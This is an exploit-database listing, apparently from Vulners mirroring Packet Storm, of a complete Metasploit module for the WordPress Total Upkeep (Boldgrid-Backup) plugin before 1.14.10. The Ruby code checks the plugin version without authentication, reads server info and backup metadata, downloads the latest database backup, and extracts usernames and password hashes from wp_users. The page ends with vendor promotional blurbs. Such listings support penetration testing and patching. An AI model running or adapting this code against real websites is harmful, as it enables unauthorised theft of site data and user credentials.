Lucene search
K

WordPress Total Upkeep Unauthenticated Backup Downloader

🗓️ 01 Sep 2024 00:00:00Reported by h00die, Wadeek, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 163 Views

WordPress Total Upkeep Unauthenticated Backup Downloader, exploits unauthenticated database backup vulnerability in the WordPress Total Upkeep plugin 'Boldgrid-Backup' (aka 'Total Upkeep' < 1.14.10). Retrieves server information, last backup file, and parses sql files for wp_users INSERT statement to grab user creds

Code
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Auxiliary::Report  
include Msf::Exploit::Remote::HTTP::Wordpress  
include Msf::Auxiliary::Scanner  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'WordPress Total Upkeep Unauthenticated Backup Downloader',  
'Description' => %q{  
This module exploits an unauthenticated database backup vulnerability in WordPress plugin  
'Boldgrid-Backup' also known as 'Total Upkeep' version < 1.14.10.  
First, `env-info.php` is read to get server information. Next, `restore-info.json` is  
read to retrieve the last backup file. That backup is then downloaded, and any sql  
files will be parsed looking for the wp_users INSERT statement to grab user creds.  
},  
'References' => [  
['EDB', '49252'],  
['WPVDB', '10502'],  
['WPVDB', '10503'],  
['URL', 'https://plugins.trac.wordpress.org/changeset/2439376/boldgrid-backup']  
],  
'Author' => [  
'Wadeek', # Vulnerability discovery  
'h00die' # Metasploit module  
],  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [],  
'SideEffects' => [IOC_IN_LOGS]  
},  
'DisclosureDate' => '2020-12-12',  
'License' => MSF_LICENSE  
)  
)  
end  
  
def run_host(ip)  
unless wordpress_and_online?  
fail_with Failure::NotVulnerable, "#{ip} - Server not online or not detected as wordpress"  
end  
  
checkcode = check_plugin_version_from_readme('boldgrid-backup', '1.14.10')  
unless [Msf::Exploit::CheckCode::Vulnerable, Msf::Exploit::CheckCode::Appears, Msf::Exploit::CheckCode::Detected].include?(checkcode)  
fail_with Failure::NotVulnerable, "#{ip} - A vulnerable version of Boldgrid Backup was not found"  
end  
print_good("#{ip} - Vulnerable version of Boldgrid Backup detected")  
  
print_status("#{ip} - Obtaining Server Info")  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'wp-content', 'plugins', 'boldgrid-backup', 'cli', 'env-info.php')  
})  
  
fail_with Failure::Unreachable, "#{ip} - Connection failed" unless res  
fail_with Failure::NotVulnerable, "#{ip} - Connection failed. Non 200 code received" if res.code != 200  
begin  
data = JSON.parse(res.body)  
rescue StandardError  
fail_with Failure::NotVulnerable, "#{ip} - Unable to parse JSON output. Check response: #{res.body}"  
end  
output = []  
data.each do |k, v|  
output << " #{k}: #{v}"  
end  
print_good("#{ip} - \n#{output.join("\n")}")  
path = store_loot(  
'boldgrid-backup.server.info',  
'text/json',  
ip,  
data,  
'env-info.json'  
)  
print_good("#{ip} - File saved in: #{path}")  
  
print_status("#{ip} - Obtaining Backup List from Cron")  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'wp-content', 'plugins', 'boldgrid-backup', 'cron', 'restore-info.json')  
})  
fail_with Failure::Unreachable, "#{ip} - Connection failed" unless res  
fail_with Failure::NotVulnerable, "#{ip} - No database backups detected" if res.code == 404  
fail_with Failure::NotVulnerable, "#{ip} - Connection failed. Non 200 code received" if res.code != 200  
  
begin  
data = JSON.parse(res.body)  
rescue StandardError  
fail_with Failure::NotVulnerable, "#{ip} - Unable to parse JSON output. Check response: #{res.body}"  
end  
output = []  
data.each do |k, v|  
output << " #{k}: #{v}"  
end  
print_good("#{ip} - \n#{output.join("\n")}")  
path = store_loot(  
'boldgrid-backup.backup.info',  
'text/json',  
ip,  
data,  
'restore-info.json'  
)  
print_good("#{ip} - File saved in: #{path}")  
unless data['filepath']  
print_bad("#{ip} - no file found")  
end  
# pull a url from the local file system path  
path = data['filepath'].sub(data['ABSPATH'], '')  
print_status("#{ip} attempting download of #{path}")  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, path)  
})  
fail_with Failure::Unreachable, "#{ip} - Connection failed" unless res  
fail_with Failure::NotVulnerable, "#{ip} - Unable to download" if res.code == 404  
fail_with Failure::NotVulnerable, "#{ip} - Connection failed. Non 200 code received" if res.code != 200  
path = store_loot(  
'boldgrid-backup.backup.zip',  
'application/zip',  
ip,  
res.body,  
path.split('/').last  
)  
print_good("#{ip} - Database backup (#{res.body.bytesize} bytes) saved in: #{path}")  
  
Zip::File.open(path) do |zip_file|  
# Handle entries one by one  
zip_file.each do |entry|  
# Extract to file  
next unless entry.name.ends_with?('.sql')  
  
print_status("#{ip} - Attempting to pull creds from #{entry}")  
f = entry.get_input_stream.read  
f.split("\n").each do |l|  
next unless l.include?('INSERT INTO `wp_users` VALUES ')  
  
columns = ['user_login', 'user_pass']  
table = Rex::Text::Table.new('Header' => 'wp_users', 'Indent' => 1, 'Columns' => columns)  
l.split('),(').each do |user|  
user = user.split(',')  
username = user[1].strip  
username = username.start_with?("'") ? username.gsub("'", '') : username  
hash = user[2].strip  
hash = hash.start_with?("'") ? hash.gsub("'", '') : hash  
create_credential({  
workspace_id: myworkspace_id,  
origin_type: :service,  
module_fullname: fullname,  
username: username,  
private_type: :nonreplayable_hash,  
jtr_format: Metasploit::Framework::Hashes.identify_hash(hash),  
private_data: hash,  
service_name: 'Wordpress',  
address: ip,  
port: datastore['RPORT'],  
protocol: 'tcp',  
status: Metasploit::Model::Login::Status::UNTRIED  
})  
table << [username, hash]  
end  
print_good(table.to_s)  
end  
end  
end  
print_status("#{ip} - finished processing backup zip")  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation